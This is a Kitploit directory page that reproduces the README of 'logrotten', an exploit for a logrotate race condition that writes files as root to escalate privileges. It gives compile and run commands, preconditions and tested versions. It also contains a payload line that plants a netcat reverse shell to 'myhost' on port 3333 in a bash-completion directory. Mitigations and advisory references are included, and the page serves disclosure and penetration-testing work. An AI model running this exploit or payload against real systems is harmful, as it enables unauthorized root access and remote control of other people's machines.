Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/whotwagner/logrotten
Privilege EscalationVulnerability AnalysisExploitationPost-ExploitationPenetration TestingRed TeamingBinary Exploitation
GitHubwhotwagner/logrotten

logrotten

Logrotate race condition exploit that enables privilege escalation by writing arbitrary files, such as reverse shell payloads, into system directories.

View Repository
211263310 months agoReviewed by Kitploit
Share

[!WARNING]
This repository has been moved to https://codeberg.org/whotwagner/logrotten. Please visit the new location for the latest updates.

Winning a race condition in logrotate to elevate privileges

Logrotten Logo

Brief description

  • logrotate is prone to a race condition after renaming the logfile.
  • If logrotate is executed as root, with option that creates a file ( like create, copy, compress, etc.) and the user is in control of the logfile path, it is possible to abuse a race-condition to write files in ANY directories.
  • An attacker could elevate his privileges by writing reverse-shells into directories like "/etc/bash_completition.d/".

Precondition for privilege escalation

  • Logrotate has to be executed as root
  • The logpath needs to be under the control of the attacker
  • Any option that creates files is set in the logrotate configuration

Tested version

  • Debian GNU/Linux 11 (bullseye)
  • Debian GNU/Linux 9.5 (stretch)
  • Amazon Linux 2 AMI (HVM)
  • Ubuntu 18.04.1
  • logrotate 3.8.6
  • logrotate 3.11.0
  • logrotate 3.15.0
  • logrotate 3.18.0

Compile

  • gcc -o logrotten logrotten.c

Prepare payload

echo "if [ `id -u` -eq 0 ]; then (/bin/nc -e /bin/bash myhost 3333 &); fi" > payloadfile

Run exploit

If "create"-option is set in logrotate.cfg:

./logrotten -p ./payloadfile /tmp/log/pwnme.log

If "compress"-option is set in logrotate.cfg:

./logrotten -p ./payloadfile -c -s 4 /tmp/log/pwnme.log

Known Problems

  • It was hard to win the race inside a docker container or on a lvm2-volume. This version of logrotten improves the reliability.

Mitigation

  • make sure that logpath is owned by root
  • use option "su" in logrotate.cfg
  • use selinux or apparmor

Author

  • Wolfgang Hotwagner

References

  • https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition
  • https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges
  • https://github.com/whotwagner/logrotten
  • https://www.ait.ac.at/themen/cyber-security/ait-sa-20190930-01/
  • https://tech.feedyourhead.at/content/privilege-escalation-in-groonga-httpd
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    911
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    548
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    366
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    362
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    311
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    287

Explore all tools

Browse our collection of tools

View all tools →